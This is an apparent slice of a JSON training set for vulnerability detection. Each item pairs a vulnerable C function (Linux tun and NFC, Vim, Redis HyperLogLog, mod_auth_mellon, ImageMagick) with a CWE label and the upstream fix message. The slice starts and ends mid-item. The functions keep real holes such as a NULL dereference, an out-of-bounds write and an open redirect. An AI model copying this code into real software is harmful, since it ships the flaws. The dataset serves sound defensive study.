__dev_get_by_name(net, ifr->ifr_name);\n\tif (dev) {\n\t\tif (ifr->ifr_flags & IFF_TUN_EXCL)\n\t\t\treturn -EBUSY;\n\t\tif ((ifr->ifr_flags & IFF_TUN) && dev->netdev_ops == &tun_netdev_ops)\n\t\t\ttun = netdev_priv(dev);\n\t\telse if ((ifr->ifr_flags & IFF_TAP) && dev->netdev_ops == &tap_netdev_ops)\n\t\t\ttun = netdev_priv(dev);\n\t\telse\n\t\t\treturn -EINVAL;\n\n\t\tif (!!(ifr->ifr_flags & IFF_MULTI_QUEUE) !=\n\t\t !!(tun->flags & IFF_MULTI_QUEUE))\n\t\t\treturn -EINVAL;\n\n\t\tif (tun_not_capable(tun))\n\t\t\treturn -EPERM;\n\t\terr = security_tun_dev_open(tun->security);\n\t\tif (err < 0)\n\t\t\treturn err;\n\n\t\terr = tun_attach(tun, file, ifr->ifr_flags & IFF_NOFILTER);\n\t\tif (err < 0)\n\t\t\treturn err;\n\n\t\tif (tun->flags & IFF_MULTI_QUEUE &&\n\t\t (tun->numqueues + tun->numdisabled > 1)) {\n\t\t\t/* One or more queue has already been attached, no need\n\t\t\t * to initialize the device again.\n\t\t\t */\n\t\t\treturn 0;\n\t\t}\n\t}\n\telse {\n\t\tchar *name;\n\t\tunsigned long flags = 0;\n\t\tint queues = ifr->ifr_flags & IFF_MULTI_QUEUE ?\n\t\t\t MAX_TAP_QUEUES : 1;\n\n\t\tif (!ns_capable(net->user_ns, CAP_NET_ADMIN))\n\t\t\treturn -EPERM;\n\t\terr = security_tun_dev_create();\n\t\tif (err < 0)\n\t\t\treturn err;\n\n\t\t/* Set dev type */\n\t\tif (ifr->ifr_flags & IFF_TUN) {\n\t\t\t/* TUN device */\n\t\t\tflags |= IFF_TUN;\n\t\t\tname = \"tun%d\";\n\t\t} else if (ifr->ifr_flags & IFF_TAP) {\n\t\t\t/* TAP device */\n\t\t\tflags |= IFF_TAP;\n\t\t\tname = \"tap%d\";\n\t\t} else\n\t\t\treturn -EINVAL;\n\n\t\tif (*ifr->ifr_name)\n\t\t\tname = ifr->ifr_name;\n\n\t\tdev = alloc_netdev_mqs(sizeof(struct tun_struct), name,\n\t\t\t\t NET_NAME_UNKNOWN, tun_setup, queues,\n\t\t\t\t queues);\n\n\t\tif (!dev)\n\t\t\treturn -ENOMEM;\n\n\t\tdev_net_set(dev, net);\n\t\tdev->rtnl_link_ops = &tun_link_ops;\n\t\tdev->ifindex = tfile->ifindex;\n\t\tdev->sysfs_groups[0] = &tun_attr_group;\n\n\t\ttun = netdev_priv(dev);\n\t\ttun->dev = dev;\n\t\ttun->flags = flags;\n\t\ttun->txflt.count = 0;\n\t\ttun->vnet_hdr_sz = sizeof(struct virtio_net_hdr);\n\n\t\ttun->align = NET_SKB_PAD;\n\t\ttun->filter_attached = false;\n\t\ttun->sndbuf = tfile->socket.sk->sk_sndbuf;\n\t\ttun->rx_batched = 0;\n\n\t\ttun->pcpu_stats = netdev_alloc_pcpu_stats(struct tun_pcpu_stats);\n\t\tif (!tun->pcpu_stats) {\n\t\t\terr = -ENOMEM;\n\t\t\tgoto err_free_dev;\n\t\t}\n\n\t\tspin_lock_init(&tun->lock);\n\n\t\terr = security_tun_dev_alloc_security(&tun->security);\n\t\tif (err < 0)\n\t\t\tgoto err_free_stat;\n\n\t\ttun_net_init(dev);\n\t\ttun_flow_init(tun);\n\n\t\tdev->hw_features = NETIF_F_SG | NETIF_F_FRAGLIST |\n\t\t\t\t TUN_USER_FEATURES | NETIF_F_HW_VLAN_CTAG_TX |\n\t\t\t\t NETIF_F_HW_VLAN_STAG_TX;\n\t\tdev->features = dev->hw_features | NETIF_F_LLTX;\n\t\tdev->vlan_features = dev->features &\n\t\t\t\t ~(NETIF_F_HW_VLAN_CTAG_TX |\n\t\t\t\t NETIF_F_HW_VLAN_STAG_TX);\n\n\t\tINIT_LIST_HEAD(&tun->disabled);\n\t\terr = tun_attach(tun, file, false);\n\t\tif (err < 0)\n\t\t\tgoto err_free_flow;\n\n\t\terr = register_netdevice(tun->dev);\n\t\tif (err < 0)\n\t\t\tgoto err_detach;\n\t}\n\n\tnetif_carrier_on(tun->dev);\n\n\ttun_debug(KERN_INFO, tun, \"tun_set_iff\\n\");\n\n\ttun->flags = (tun->flags & ~TUN_FEATURES) |\n\t\t(ifr->ifr_flags & TUN_FEATURES);\n\n\t/* Make sure persistent devices do not get stuck in\n\t * xoff state.\n\t */\n\tif (netif_running(tun->dev))\n\t\tnetif_tx_wake_all_queues(tun->dev);\n\n\tstrcpy(ifr->ifr_name, tun->dev->name);\n\treturn 0;\n\nerr_detach:\n\ttun_detach_all(dev);\n\t/* register_netdevice() already called tun_free_netdev() */\n\tgoto err_free_dev;\n\nerr_free_flow:\n\ttun_flow_uninit(tun);\n\tsecurity_tun_dev_free_security(tun->security);\nerr_free_stat:\n\tfree_percpu(tun->pcpu_stats);\nerr_free_dev:\n\tfree_netdev(dev);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'tun: call dev_get_valid_name() before register_netdevice()\n\nregister_netdevice() could fail early when we have an invalid\ndev name, in which case ->ndo_uninit() is not called. For tun\ndevice, this is a problem because a timer etc. are already\ninitialized and it expects ->ndo_uninit() to clean them up.\n\nWe could move these initializations into a ->ndo_init() so\nthat register_netdevice() knows better, however this is still\ncomplicated due to the logic in tun_detach().\n\nTherefore, I choose to just call dev_get_valid_name() before\nregister_netdevice(), which is quicker and much easier to audit.\nAnd for this specific case, it is already enough.\n\nFixes: 96442e42429e (\"tuntap: choose the txq based on rxq\")\nReported-by: Dmitry Alexeev \nCc: Jason Wang \nCc: \"Michael S. Tsirkin\" \nSigned-off-by: Cong Wang \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void parse_cfg(int flags, int argc, const char **argv, cfg_t *cfg) {\n int i;\n memset(cfg, 0, sizeof(cfg_t));\n cfg->debug_file = stderr;\n\n for (i = 0; i < argc; i++) {\n if (strncmp(argv[i], \"max_devices=\", 12) == 0)\n sscanf(argv[i], \"max_devices=%u\", &cfg->max_devs);\n if (strcmp(argv[i], \"manual\") == 0)\n cfg->manual = 1;\n if (strcmp(argv[i], \"debug\") == 0)\n cfg->debug = 1;\n if (strcmp(argv[i], \"nouserok\") == 0)\n cfg->nouserok = 1;\n if (strcmp(argv[i], \"openasuser\") == 0)\n cfg->openasuser = 1;\n if (strcmp(argv[i], \"alwaysok\") == 0)\n cfg->alwaysok = 1;\n if (strcmp(argv[i], \"interactive\") == 0)\n cfg->interactive = 1;\n if (strcmp(argv[i], \"cue\") == 0)\n cfg->cue = 1;\n if (strcmp(argv[i], \"nodetect\") == 0)\n cfg->nodetect = 1;\n if (strncmp(argv[i], \"authfile=\", 9) == 0)\n cfg->auth_file = argv[i] + 9;\n if (strncmp(argv[i], \"authpending_file=\", 17) == 0)\n cfg->authpending_file = argv[i] + 17;\n if (strncmp(argv[i], \"origin=\", 7) == 0)\n cfg->origin = argv[i] + 7;\n if (strncmp(argv[i], \"appid=\", 6) == 0)\n cfg->appid = argv[i] + 6;\n if (strncmp(argv[i], \"prompt=\", 7) == 0)\n cfg->prompt = argv[i] + 7;\n if (strncmp (argv[i], \"debug_file=\", 11) == 0) {\n const char *filename = argv[i] + 11;\n if(strncmp (filename, \"stdout\", 6) == 0) {\n cfg->debug_file = stdout;\n }\n else if(strncmp (filename, \"stderr\", 6) == 0) {\n cfg->debug_file = stderr;\n }\n else if( strncmp (filename, \"syslog\", 6) == 0) {\n cfg->debug_file = (FILE *)-1;\n }\n else {\n struct stat st;\n FILE *file;\n if(lstat(filename, &st) == 0) {\n if(S_ISREG(st.st_mode)) {\n file = fopen(filename, \"a\");\n if(file != NULL) {\n cfg->debug_file = file;\n }\n }\n }\n }\n }\n }\n\n if (cfg->debug) {\n D(cfg->debug_file, \"called.\");\n D(cfg->debug_file, \"flags %d argc %d\", flags, argc);\n for (i = 0; i < argc; i++) {\n D(cfg->debug_file, \"argv[%d]=%s\", i, argv[i]);\n }\n D(cfg->debug_file, \"max_devices=%d\", cfg->max_devs);\n D(cfg->debug_file, \"debug=%d\", cfg->debug);\n D(cfg->debug_file, \"interactive=%d\", cfg->interactive);\n D(cfg->debug_file, \"cue=%d\", cfg->cue);\n D(cfg->debug_file, \"nodetect=%d\", cfg->nodetect);\n D(cfg->debug_file, \"manual=%d\", cfg->manual);\n D(cfg->debug_file, \"nouserok=%d\", cfg->nouserok);\n D(cfg->debug_file, \"openasuser=%d\", cfg->openasuser);\n D(cfg->debug_file, \"alwaysok=%d\", cfg->alwaysok);\n D(cfg->debug_file, \"authfile=%s\", cfg->auth_file ? cfg->auth_file : \"(null)\");\n D(cfg->debug_file, \"authpending_file=%s\", cfg->authpending_file ? cfg->authpending_file : \"(null)\");\n D(cfg->debug_file, \"origin=%s\", cfg->origin ? cfg->origin : \"(null)\");\n D(cfg->debug_file, \"appid=%s\", cfg->appid ? cfg->appid : \"(null)\");\n D(cfg->debug_file, \"prompt=%s\", cfg->prompt ? cfg->prompt : \"(null)\");\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'Do not leak file descriptor when doing exec\n\nWhen opening a custom debug file, the descriptor would stay\nopen when calling exec and leak to the child process.\n\nMake sure all files are opened with close-on-exec.\n\nThis fixes CVE-2019-12210.\n\nThanks to Matthias Gerstner of the SUSE Security Team for reporting\nthe issue.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: openscript(\n char_u\t*name,\n int\t\tdirectly)\t/* when TRUE execute directly */\n{\n if (curscript + 1 == NSCRIPT)\n {\n\temsg(_(e_nesting));\n\treturn;\n }\n#ifdef FEAT_EVAL\n if (ignore_script)\n\t/* Not reading from script, also don't open one. Warning message? */\n\treturn;\n#endif\n\n if (scriptin[curscript] != NULL)\t/* already reading script */\n\t++curscript;\n\t\t\t\t/* use NameBuff for expanded name */\n expand_env(name, NameBuff, MAXPATHL);\n if ((scriptin[curscript] = mch_fopen((char *)NameBuff, READBIN)) == NULL)\n {\n\tsemsg(_(e_notopen), name);\n\tif (curscript)\n\t --curscript;\n\treturn;\n }\n if (save_typebuf() == FAIL)\n\treturn;\n\n /*\n * Execute the commands from the file right now when using \":source!\"\n * after \":global\" or \":argdo\" or in a loop. Also when another command\n * follows. This means the display won't be updated. Don't do this\n * always, \"make test\" would fail.\n */\n if (directly)\n {\n\toparg_T\toa;\n\tint\toldcurscript;\n\tint\tsave_State = State;\n\tint\tsave_restart_edit = restart_edit;\n\tint\tsave_insertmode = p_im;\n\tint\tsave_finish_op = finish_op;\n\tint\tsave_msg_scroll = msg_scroll;\n\n\tState = NORMAL;\n\tmsg_scroll = FALSE;\t/* no msg scrolling in Normal mode */\n\trestart_edit = 0;\t/* don't go to Insert mode */\n\tp_im = FALSE;\t\t/* don't use 'insertmode' */\n\tclear_oparg(&oa);\n\tfinish_op = FALSE;\n\n\toldcurscript = curscript;\n\tdo\n\t{\n\t update_topline_cursor();\t// update cursor position and topline\n\t normal_cmd(&oa, FALSE);\t// execute one command\n\t vpeekc();\t\t\t// check for end of file\n\t}\n\twhile (scriptin[oldcurscript] != NULL);\n\n\tState = save_State;\n\tmsg_scroll = save_msg_scroll;\n\trestart_edit = save_restart_edit;\n\tp_im = save_insertmode;\n\tfinish_op = save_finish_op;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-78'], 'message': 'patch 8.1.1365: source command doesn't check for the sandbox\n\nProblem: Source command doesn't check for the sandbox. (Armin Razmjou)\nSolution: Check for the sandbox when sourcing a file.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int hash__init_new_context(struct mm_struct *mm)\n{\n\tint index;\n\n\tindex = hash__alloc_context_id();\n\tif (index < 0)\n\t\treturn index;\n\n\t/*\n\t * The old code would re-promote on fork, we don't do that when using\n\t * slices as it could cause problem promoting slices that have been\n\t * forced down to 4K.\n\t *\n\t * For book3s we have MMU_NO_CONTEXT set to be ~0. Hence check\n\t * explicitly against context.id == 0. This ensures that we properly\n\t * initialize context slice details for newly allocated mm's (which will\n\t * have id == 0) and don't alter context slice inherited via fork (which\n\t * will have id != 0).\n\t *\n\t * We should not be calling init_new_context() on init_mm. Hence a\n\t * check against 0 is OK.\n\t */\n\tif (mm->context.id == 0)\n\t\tslice_init_new_context_exec(mm);\n\n\tsubpage_prot_init_new_context(mm);\n\n\tpkey_mm_init(mm);\n\treturn index;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'powerpc/mm/64s/hash: Reallocate context ids on fork\n\nWhen using the Hash Page Table (HPT) MMU, userspace memory mappings\nare managed at two levels. Firstly in the Linux page tables, much like\nother architectures, and secondly in the SLB (Segment Lookaside\nBuffer) and HPT. It's the SLB and HPT that are actually used by the\nhardware to do translations.\n\nAs part of the series adding support for 4PB user virtual address\nspace using the hash MMU, we added support for allocating multiple\n\"context ids\" per process, one for each 512TB chunk of address space.\nThese are tracked in an array called extended_id in the mm_context_t\nof a process that has done a mapping above 512TB.\n\nIf such a process forks (ie. clone(2) without CLONE_VM set) it's mm is\ncopied, including the mm_context_t, and then init_new_context() is\ncalled to reinitialise parts of the mm_context_t as appropriate to\nseparate the address spaces of the two processes.\n\nThe key step in ensuring the two processes have separate address\nspaces is to allocate a new context id for the process, this is done\nat the beginning of hash__init_new_context(). If we didn't allocate a\nnew context id then the two processes would share mappings as far as\nthe SLB and HPT are concerned, even though their Linux page tables\nwould be separate.\n\nFor mappings above 512TB, which use the extended_id array, we\nneglected to allocate new context ids on fork, meaning the parent and\nchild use the same ids and therefore share those mappings even though\nthey're supposed to be separate. This can lead to the parent seeing\nwrites done by the child, which is essentially memory corruption.\n\nThere is an additional exposure which is that if the child process\nexits, all its context ids are freed, including the context ids that\nare still in use by the parent for mappings above 512TB. One or more\nof those ids can then be reallocated to a third process, that process\ncan then read/write to the parent's mappings above 512TB. Additionally\nif the freed id is used for the third process's primary context id,\nthen the parent is able to read/write to the third process's mappings\n*below* 512TB.\n\nAll of these are fundamental failures to enforce separation between\nprocesses. The only mitigating factor is that the bug only occurs if a\nprocess creates mappings above 512TB, and most applications still do\nnot create such mappings.\n\nOnly machines using the hash page table MMU are affected, eg. PowerPC\n970 (G5), PA6T, Power5/6/7/8/9. By default Power9 bare metal machines\n(powernv) use the Radix MMU and are not affected, unless the machine\nhas been explicitly booted in HPT mode (using disable_radix on the\nkernel command line). KVM guests on Power9 may be affected if the host\nor guest is configured to use the HPT MMU. LPARs under PowerVM on\nPower9 are affected as they always use the HPT MMU. Kernels built with\nPAGE_SIZE=4K are not affected.\n\nThe fix is relatively simple, we need to reallocate context ids for\nall extended mappings on fork.\n\nFixes: f384796c40dc (\"powerpc/mm: Add support for handling > 512TB address in SLB miss\")\nCc: stable@vger.kernel.org # v4.17+\nSigned-off-by: Michael Ellerman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int hllSparseToDense(robj *o) {\n sds sparse = o->ptr, dense;\n struct hllhdr *hdr, *oldhdr = (struct hllhdr*)sparse;\n int idx = 0, runlen, regval;\n uint8_t *p = (uint8_t*)sparse, *end = p+sdslen(sparse);\n\n /* If the representation is already the right one return ASAP. */\n hdr = (struct hllhdr*) sparse;\n if (hdr->encoding == HLL_DENSE) return C_OK;\n\n /* Create a string of the right size filled with zero bytes.\n * Note that the cached cardinality is set to 0 as a side effect\n * that is exactly the cardinality of an empty HLL. */\n dense = sdsnewlen(NULL,HLL_DENSE_SIZE);\n hdr = (struct hllhdr*) dense;\n *hdr = *oldhdr; /* This will copy the magic and cached cardinality. */\n hdr->encoding = HLL_DENSE;\n\n /* Now read the sparse representation and set non-zero registers\n * accordingly. */\n p += HLL_HDR_SIZE;\n while(p < end) {\n if (HLL_SPARSE_IS_ZERO(p)) {\n runlen = HLL_SPARSE_ZERO_LEN(p);\n idx += runlen;\n p++;\n } else if (HLL_SPARSE_IS_XZERO(p)) {\n runlen = HLL_SPARSE_XZERO_LEN(p);\n idx += runlen;\n p += 2;\n } else {\n runlen = HLL_SPARSE_VAL_LEN(p);\n regval = HLL_SPARSE_VAL_VALUE(p);\n while(runlen--) {\n HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval);\n idx++;\n }\n p++;\n }\n }\n\n /* If the sparse representation was valid, we expect to find idx\n * set to HLL_REGISTERS. */\n if (idx != HLL_REGISTERS) {\n sdsfree(dense);\n return C_ERR;\n }\n\n /* Free the old representation and set the new one. */\n sdsfree(o->ptr);\n o->ptr = dense;\n return C_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Fix hyperloglog corruption'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int nfc_genl_deactivate_target(struct sk_buff *skb,\n\t\t\t\t struct genl_info *info)\n{\n\tstruct nfc_dev *dev;\n\tu32 device_idx, target_idx;\n\tint rc;\n\n\tif (!info->attrs[NFC_ATTR_DEVICE_INDEX])\n\t\treturn -EINVAL;\n\n\tdevice_idx = nla_get_u32(info->attrs[NFC_ATTR_DEVICE_INDEX]);\n\n\tdev = nfc_get_device(device_idx);\n\tif (!dev)\n\t\treturn -ENODEV;\n\n\ttarget_idx = nla_get_u32(info->attrs[NFC_ATTR_TARGET_INDEX]);\n\n\trc = nfc_deactivate_target(dev, target_idx, NFC_TARGET_MODE_SLEEP);\n\n\tnfc_put_device(dev);\n\treturn rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'nfc: Ensure presence of required attributes in the deactivate_target handler\n\nCheck that the NFC_ATTR_TARGET_INDEX attributes (in addition to\nNFC_ATTR_DEVICE_INDEX) are provided by the netlink client prior to\naccessing them. This prevents potential unhandled NULL pointer dereference\nexceptions which can be triggered by malicious user-mode programs,\nif they omit one or both of these attributes.\n\nSigned-off-by: Young Xiao <92siuyang@gmail.com>\nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int am_handle_repost(request_rec *r)\n{\n am_mod_cfg_rec *mod_cfg;\n const char *query;\n const char *enctype;\n char *charset;\n char *psf_id;\n char *cp;\n char *psf_filename;\n char *post_data;\n const char *post_form;\n char *output;\n char *return_url;\n const char *(*post_mkform)(request_rec *, const char *);\n\n if (am_cookie_get(r) == NULL) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, \n \"Repost query without a session\");\n return HTTP_FORBIDDEN;\n }\n\n mod_cfg = am_get_mod_cfg(r->server);\n\n if (!mod_cfg->post_dir) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r,\n \"Repost query without MellonPostDirectory.\");\n return HTTP_NOT_FOUND;\n }\n\n query = r->parsed_uri.query;\n\n enctype = am_extract_query_parameter(r->pool, query, \"enctype\");\n if (enctype == NULL) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, \n \"Bad repost query: missing enctype\");\n return HTTP_BAD_REQUEST;\n }\n if (strcmp(enctype, \"urlencoded\") == 0) {\n enctype = \"application/x-www-form-urlencoded\";\n post_mkform = am_post_mkform_urlencoded;\n } else if (strcmp(enctype, \"multipart\") == 0) {\n enctype = \"multipart/form-data\";\n post_mkform = am_post_mkform_multipart;\n } else {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, \n \"Bad repost query: invalid enctype \\\"%s\\\".\", enctype);\n return HTTP_BAD_REQUEST;\n }\n\n charset = am_extract_query_parameter(r->pool, query, \"charset\");\n if (charset != NULL) {\n if (am_urldecode(charset) != OK) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, \n \"Bad repost query: invalid charset \\\"%s\\\"\", charset);\n return HTTP_BAD_REQUEST;\n }\n \n /* Check that charset is sane */\n for (cp = charset; *cp; cp++) {\n if (!apr_isalnum(*cp) && (*cp != '-') && (*cp != '_')) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, \n \"Bad repost query: invalid charset \\\"%s\\\"\", charset);\n return HTTP_BAD_REQUEST;\n }\n }\n }\n\n psf_id = am_extract_query_parameter(r->pool, query, \"id\");\n if (psf_id == NULL) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, \n \"Bad repost query: missing id\");\n return HTTP_BAD_REQUEST;\n }\n\n /* Check that Id is sane */\n for (cp = psf_id; *cp; cp++) {\n if (!apr_isalnum(*cp)) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, \n \"Bad repost query: invalid id \\\"%s\\\"\", psf_id);\n return HTTP_BAD_REQUEST;\n }\n }\n \n \n return_url = am_extract_query_parameter(r->pool, query, \"ReturnTo\");\n if (return_url == NULL) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r,\n \"Invalid or missing query ReturnTo parameter.\");\n return HTTP_BAD_REQUEST;\n }\n\n if (am_urldecode(return_url) != OK) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, \"Bad repost query: return\");\n return HTTP_BAD_REQUEST;\n }\n\n psf_filename = apr_psprintf(r->pool, \"%s/%s\", mod_cfg->post_dir, psf_id);\n post_data = am_getfile(r->pool, r->server, psf_filename);\n if (post_data == NULL) {\n /* Unable to load repost data. Just redirect us instead. */\n ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r,\n \"Bad repost query: cannot find \\\"%s\\\"\", psf_filename);\n apr_table_setn(r->headers_out, \"Location\", return_url);\n return HTTP_SEE_OTHER;\n }\n\n if ((post_form = (*post_mkform)(r, post_data)) == NULL) {\n ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, \"am_post_mkform() failed\");\n return HTTP_INTERNAL_SERVER_ERROR;\n }\n\n if (charset != NULL) {\n ap_set_content_type(r, apr_psprintf(r->pool,\n \"text/html; charset=\\\"%s\\\"\", charset));\n charset = apr_psprintf(r->pool, \" accept-charset=\\\"%s\\\"\", charset);\n } else {\n ap_set_content_type(r, \"text/html\");\n charset = (char *)\"\";\n }\n\n output = apr_psprintf(r->pool,\n \"\\n\"\n \"\\n\"\n \" \\n\" \n \" SAML rePOST request\\n\" \n \" \\n\" \n \" \\n\" \n \" \\n\"\n \"
\\n%s\"\n \" \\n\"\n \"
\\n\"\n \" \\n\" \n \"\\n\",\n am_htmlencode(r, return_url), enctype, charset, post_form);\n\n ap_rputs(output, r);\n return OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-601'], 'message': 'Add MellonRedirectDomains option.\n\nLimit the domains that we will redirect to after login / logout to a\nset of trusted domains. By default we only allow redirects to the\ncurrent domain.\n\nThis change breaks backwards compatibility with any site that relies on\nredirects to separate domains.\n\nFixes #35'
" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadAAIImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image\n *image;\n\n MagickBooleanType\n status;\n\n register ssize_t\n x;\n\n register PixelPacket\n *q;\n\n register unsigned char\n *p;\n\n size_t\n height,\n length,\n width;\n\n ssize_t\n count,\n y;\n\n unsigned char\n *pixels;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read AAI Dune image.\n */\n width=ReadBlobLSBLong(image);\n height=ReadBlobLSBLong(image);\n if (EOFBlob(image) != MagickFalse)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if ((width == 0UL) || (height == 0UL))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n do\n {\n /*\n Convert AAI raster image to pixel packets.\n */\n image->columns=width;\n image->rows=height;\n image->depth=8;\n if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0))\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n status=SetImageExtent(image,image->columns,image->rows);\n if (status == MagickFalse)\n {\n InheritException(exception,&image->exception);\n return(DestroyImageList(image));\n }\n pixels=(unsigned char *) AcquireQuantumMemory(image->columns,\n 4*sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n length=(size_t) 4*image->columns;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n count=ReadBlob(image,length,pixels);\n if ((size_t) count != length)\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");\n }\n p=pixels;\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (PixelPacket *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelBlue(q,ScaleCharToQuantum(*p++));\n SetPixelGreen(q,ScaleCharToQuantum(*p++));\n SetPixelRed(q,ScaleCharToQuantum(*p++));\n if (*p == 254)\n *p=255;\n SetPixelAlpha(q,ScaleCharToQuantum(*p++));\n if (q->opacity != OpaqueOpacity)\n image->matte=MagickTrue;\n q++;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n width=ReadBlobLSBLong(image);\n height=ReadBlobLSBLong(image);\n if ((width != 0UL) && (height != 0UL))\n {\n /*\n Allocate next image structure.\n */\n AcquireNextImage(image_info,image);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while ((width != 0UL) && (height != 0UL));\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'Fix ultra rare but potential memory-leak'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadPIXImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image\n *image;\n\n IndexPacket\n index;\n\n MagickBooleanType\n status;\n\n Quantum\n blue,\n green,\n red;\n\n register IndexPacket\n *indexes;\n\n register ssize_t\n x;\n\n register PixelPacket\n *q;\n\n size_t\n bits_per_pixel,\n height,\n length,\n width;\n\n ssize_t\n y;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read PIX image.\n */\n width=ReadBlobMSBShort(image);\n height=ReadBlobMSBShort(image);\n (void) ReadBlobMSBShort(image); /* x-offset */\n (void) ReadBlobMSBShort(image); /* y-offset */\n bits_per_pixel=ReadBlobMSBShort(image);\n if ((width == 0UL) || (height == 0UL) || ((bits_per_pixel != 8) &&\n (bits_per_pixel != 24)))\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n do\n {\n /*\n Initialize image structure.\n */\n image->columns=width;\n image->rows=height;\n if (bits_per_pixel == 8)\n if (AcquireImageColormap(image,256) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n if ((image_info->ping != MagickFalse) && 